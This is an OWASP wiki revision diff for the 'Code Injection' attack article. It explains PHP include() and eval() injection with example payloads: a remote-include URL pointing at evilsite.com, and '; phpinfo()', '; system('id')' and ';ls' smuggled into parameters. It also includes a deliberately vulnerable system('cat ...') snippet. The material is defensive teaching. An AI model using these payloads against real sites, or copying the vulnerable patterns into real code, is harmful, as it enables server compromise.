Difference between revisions of "Code Injection"

From OWASP
Jump to: navigation, search
m (Related Attacks)
(Examples)
(34 intermediate revisions by 5 users not shown)
Line 1: Line 1:
 
{{Template:Attack}}
 
{{Template:Attack}}
 +
<br>
 +
[[Category:OWASP ASDR Project]]
 +
 +
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
  
 
==Description==
 
==Description==
 +
Code Injection is the general name for a lot of types of attacks which depend on inserting code, which is interprated by the application. Such an attack may be be performed by adding strings of characters into a cookie or argument values in the URI. This attack makes use of lack of accurate input/output data validation, for example:
  
Code Injection is the general name for a lot of types of attacks, which depends on inserting of the code, which will be interprated by the application. Such an attack maybe be performed e.g. by adding string of characters into cookie or argument values in the URI. This attack make use of lack of accurate input/output data validation i.e.:
+
* class of allowed characters (standard regular expressions classes or custom)
 
+
* data format
- class of allowed charachters (standard regular expressions classes or custom)
+
* amount of expected data
 
+
* for numerical input, its values
- data format
+
 
+
- amount of expected data
+
 
+
- for numerical input its values
+
 
+
  
The difference between Code Injection and Command Injection are measures used to achive simmilar goals. The concept of Code Injection is to add malicious code into application, which then will be executed. Added code is a part of the application itself. It's not an external code, which is executed like it would be in Command Injection.
+
Code Injection and [[Command Injection]] are measures used to achive simmilar goals. The concept of Code Injection is to add malicious code into an application, which then will be executed. Added code is a part of the application itself. It's not external code which is executed, like it would be in Command Injection.
  
 +
<!--==Risk Factors==
 +
TBD
 +
-->
 
==Examples ==
 
==Examples ==
  
 
'''Example 1'''
 
'''Example 1'''
  
If site uses include() fucntion, which operates on variables sended with GET method, and there is no validation on them performed, then the attacker may try to execute different code than author of the code had on mind.
+
If a site uses the include() function, which operates on variables sent with the GET method, and there is no validation performed on them, then the attacker may try to execute different code other than the author of the code had in mind.
  
The URL below should display information about how to contact with the testsite company.
+
The URL below displays information about how to contact with the testsite company.
  
 
http://testsite.com/index.php?page=contact.php
 
http://testsite.com/index.php?page=contact.php
  
Below the altered code will include another code from http://evilsite.com/evilcode.php. The script "evilcode.php" may contain e.g. phpinfo() function, which is usefull for gaining information about configuration of the environment in which the web service runs.
+
Below the altered code is code from http://evilsite.com/evilcode.php. The script "evilcode.php" may contain, for example, a phpinfo() function, which is useful for gaining information about the configuration of the environment in which the web service runs.
  
 
http://testsite.com/?page=http://evilsite.com/evilcode.php
 
http://testsite.com/?page=http://evilsite.com/evilcode.php
  
Neccessery condition must be satisfied for this example to be successfull, namly web server configuration must allow for including files in the "http://" notation.
+
One condition must be satisfied for this example to be successful, namely the web server configuration must allow for including files in the "http://" notation.
  
  
 
'''Example 2'''
 
'''Example 2'''
  
When programmer uses eval() function and operates on data insie it, and these data may be altered by the attacker, then it's only one step closer to Code Injection.
+
When a programmer uses the eval() function and operates on the data inside it, and these data may be altered by the attacker, then it's only one step closer to Code Injection.
  
 
+
The example below shows how to use the eval() function:
Mentioned below example shows how to use the eval() function:
+
  
 
<pre>
 
<pre>
Line 48: Line 49:
 
The code above which smells like a rose may be used to perform a Code Injection attack.
 
The code above which smells like a rose may be used to perform a Code Injection attack.
  
E.g. passing in the URI /index.php?arg=1; phpinfo()
+
Example: passing in the URI /index.php?arg=1; phpinfo()
  
 
+
While exploiting bugs like these, the attacker doesn't have to limit himself only to a Code Injection attack. The attacker may tempt himself to use Command Injection technique, for example.
Exploiting bugs like these the attacker doesn't have to limit himself only to Code Injection attack. The attacker may tempt himself to use Command Injection technique e.g.
+
  
 
<pre>
 
<pre>
Line 57: Line 57:
 
</pre>
 
</pre>
  
 +
'''Example 3'''
  
==Related Threats==
+
<pre>
 +
<?php
 +
$varerror = system('cat '.$_GET['pageid'], $valoretorno);
 +
echo $varerror;
 +
?>
 +
</pre>
  
*[[:Category:Command Execution]]
+
by using that kind of code we can attak as show in example number 2
  
==Related Attacks==
+
using live http headers or using method get you can make this kind of petition:
  
*[[Command Injection]]
+
<pre>
*[[SQL Injection]]
+
vulnerable.php?pageid=loquesea;ls
*[[LDAP Injection]]
+
</pre>
*[[SSI Injection]]
+
*[[XSS]]
+
  
==Related Vulnerabilities==
+
ls is the command we are executing but we can use any other commands of the server.
  
Category: Input Validation Vulnerability
+
<!--==Related [[Threat Agents]]==
 +
TBD
 +
-->
  
==Related Countermeasures==
+
==Related [[Attacks]]==
 +
* [[Command Injection]]
 +
* [[SQL Injection]]
 +
* [[LDAP injection]]
 +
* [[Server-Side_Includes_%28SSI%29_Injection|SSI injection]]
 +
* [[Cross-site Scripting (XSS)]]
  
- validation of the format / expected classes of charachetrs / input/output data size
+
==Related [[Vulnerabilities]]==
 +
* [[:Category: Input Validation Vulnerability]]
  
==Categories==
+
==Related [[Controls]]==
 +
* [[Input Validation]]
 +
* [[Output Validation]]
 +
* [[Canonicalization]]
  
[[Category:Attack]]
+
==References==
 +
* [http://cwe.mitre.org/data/definitions/77.html CWE-77: Command Injection]
 +
* [http://cwe.mitre.org/data/definitions/78.html CWE-78: OS Command Injection]
 +
* [http://cwe.mitre.org/data/definitions/77.html CWE-89: SQL Injection]
  
 +
[[Category:Injection]]
 +
[[Category:Attack]]
 
[[Category:Injection Attack]]
 
[[Category:Injection Attack]]

Revision as of 18:06, 17 November 2009

This is an Attack. To view all attacks, please see the Attack Category page.



Last revision (mm/dd/yy): 11/17/2009

Description

Code Injection is the general name for a lot of types of attacks which depend on inserting code, which is interprated by the application. Such an attack may be be performed by adding strings of characters into a cookie or argument values in the URI. This attack makes use of lack of accurate input/output data validation, for example:

  • class of allowed characters (standard regular expressions classes or custom)
  • data format
  • amount of expected data
  • for numerical input, its values

Code Injection and Command Injection are measures used to achive simmilar goals. The concept of Code Injection is to add malicious code into an application, which then will be executed. Added code is a part of the application itself. It's not external code which is executed, like it would be in Command Injection.

Examples

Example 1

If a site uses the include() function, which operates on variables sent with the GET method, and there is no validation performed on them, then the attacker may try to execute different code other than the author of the code had in mind.

The URL below displays information about how to contact with the testsite company.

http://testsite.com/index.php?page=contact.php

Below the altered code is code from http://evilsite.com/evilcode.php. The script "evilcode.php" may contain, for example, a phpinfo() function, which is useful for gaining information about the configuration of the environment in which the web service runs.

http://testsite.com/?page=http://evilsite.com/evilcode.php

One condition must be satisfied for this example to be successful, namely the web server configuration must allow for including files in the "http://" notation.


Example 2

When a programmer uses the eval() function and operates on the data inside it, and these data may be altered by the attacker, then it's only one step closer to Code Injection.

The example below shows how to use the eval() function:

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");

The code above which smells like a rose may be used to perform a Code Injection attack.

Example: passing in the URI /index.php?arg=1; phpinfo()

While exploiting bugs like these, the attacker doesn't have to limit himself only to a Code Injection attack. The attacker may tempt himself to use Command Injection technique, for example.

/index.pho?arg=1; system('id')

Example 3

<?php
$varerror = system('cat '.$_GET['pageid'], $valoretorno);
echo $varerror;
?>

by using that kind of code we can attak as show in example number 2

using live http headers or using method get you can make this kind of petition:

vulnerable.php?pageid=loquesea;ls

ls is the command we are executing but we can use any other commands of the server.


Related Attacks

Related Vulnerabilities

Related Controls

References